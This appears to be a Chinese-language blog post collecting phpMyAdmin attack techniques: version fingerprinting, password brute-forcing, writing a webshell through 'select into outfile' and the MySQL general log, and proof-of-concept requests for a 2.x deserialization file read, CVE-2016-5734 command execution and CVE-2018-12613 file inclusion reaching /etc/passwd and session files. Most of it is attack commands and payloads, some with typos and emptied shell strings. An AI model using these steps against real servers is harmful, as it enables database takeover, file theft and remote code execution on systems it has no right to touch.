phpMyAdmin 常见漏洞利用记录

目录

简介

phpmyadmin版本信息获取

phpmyadmin密码爆破

phpmyadmin文件写入

phpmyadmin日志写shell

phpmyadmin版本漏洞

phpmyadmin 2.x版本反序列化漏洞任意文件读取(wooyun-2016-199433)

CVE-2016-5734 RCE命令执行

CVE-2018-12613 文件包含

结语


简介

        phpMyAdmin 是一 个以 PHP 为基础,以 Web Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库。借由此 Web 接口可以成为 个简易方式输入繁杂 SQL 语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
        大的优势在于由于 phpMyAdmin 跟其他 PHP 程式 样在网页服务器上执行, 但是您可以在任何地方使用这些程式产生的 HTML 页面,也就是于远端管理 M ySQL 数据库,方便的建立、修改、删除数据库及资料表。也可借由 phpMyAd min 建立常用的 php 语法,方便编写网页时所需要的 sql 语法正确性。

phpmyadmin版本信息获取

直接phpmyadmin目录后拼接:

phpMyAdmin 常见漏洞利用记录_第1张图片

readme.php

README

changelog.php

Change

Documetation.html

Documetation.txt
translators.html
http://127.0.0.1/phpMyAdmin/README
phpMyAdmin 常见漏洞利用记录_第2张图片
http://127.0.0.1/phpMyAdmin/changelog.php
phpMyAdmin 常见漏洞利用记录_第3张图片
只要管理员不删除这些文件,就可以找到一下相关的信息,只是有些文件是需要进入到后台才能打开的。
后台信息获取:
phpMyAdmin 常见漏洞利用记录_第4张图片

phpmyadmin密码爆破

可以看看有没有存在注入或者利用爆破工具进行爆破进入后台。

推荐工具 :

https://github.com/J1hng/PMAblast

phpMyAdmin 常见漏洞利用记录_第5张图片

phpmyadmin文件写入

获取绝对路径:
phpinfo();
查看出错页面获取
利用load_file读取配置文件
查看数据库内容
select @@datadir查看数据库路径猜网站绝对路径
phpMyAdmin 常见漏洞利用记录_第6张图片

5.0版本之后的mysql数据库会自动创建日志文件,那么在服务运行的情况下修改全局变量也可以改变日志文件的存储位置;但是需要对日志的目录具有读写权限。

查看是否具有写权限:

show varlables like 'secure_file_priv';

phpMyAdmin 常见漏洞利用记录_第7张图片

secure_file_priv的值为null,表示限制mysql不允许导入|导出;

secure_file_priv的值为/var时,表示限制mysql导入|导出只能在/var目录下;

secure_file_priv的值为空白时,表示不对mysql导入|导出做限制;

可以在mysql.ini文件中进行修改。

如果具有写文件权限的话就可以直接写入shell:

select "" into outfile "D:\\phpstudy_pro\\www\\test.php";

不过这里需要用双反斜杠,不然会被转义。

phpmyadmin日志写shell

phpmyadmin有一个记录日志的文件,当into outfile被禁用的话还可以利用日志getshell。

默认情况下是关闭的,开启日志记录,然后设置日志记录名称为.php,之后执行sql语句就会被写入到日志中去。

show variables like 'general_log%';

phpMyAdmin 常见漏洞利用记录_第8张图片

set global general_log='on'; #手动开启日志

set global general_log_file='d:\\phpstudy_pro\\www\\test.php; #修改日志路径

show variables like "general_log%"; #查看是否开启日志并且更改路径

phpMyAdmin 常见漏洞利用记录_第9张图片

phpMyAdmin 常见漏洞利用记录_第10张图片

phpMyAdmin 常见漏洞利用记录_第11张图片

成功写入。

phpmyadmin版本漏洞

phpmyadmin 2.x版本反序列化漏洞任意文件读取(wooyun-2016-199433)

poc:

POST /scripts/setup.php HTTP/1.1

...

action=test$configuration=0:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2016-5734 RCE命令执行

影响版本:

phpmyadmin 4.3.0-4.6.2;

php 4.3.0-5.4.6

主要由于将用户输入的信息拼接进preg_replace函数第一个参数中,在php5.4.7之前的版本中。preg_replace存在漏洞,可以使用0进行截断,并将正则模式修改为e,导致命令执行。

kali中自带exp:

searchsploit phpmyadmin

python3 40185.py -u root -p root -d test -c "system(whoami)" http://127.0.0.1/

CVE-2018-12613 文件包含

影响版本:

phpmyadmin 4.8.0-4.8.1

poc:

index.php?target=db_sql.php%253f/../../../../../../../../../../../etc/passwd

or

/?target=tbl_zoom_select.php?/../../../../../../etc/hosts

然后可以执行一些sql语句记录到日志中去,然后包含。

select '';

f12在开发者工具找到phpmyadmin的cookie值

访问:

http://ip:port/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../../../../tmp/sess_safjaubfasklfjkasnflasfn6as4d6sa8das5


结语

已无暇顾及过去,要向前走。

你可能感兴趣的:(安全)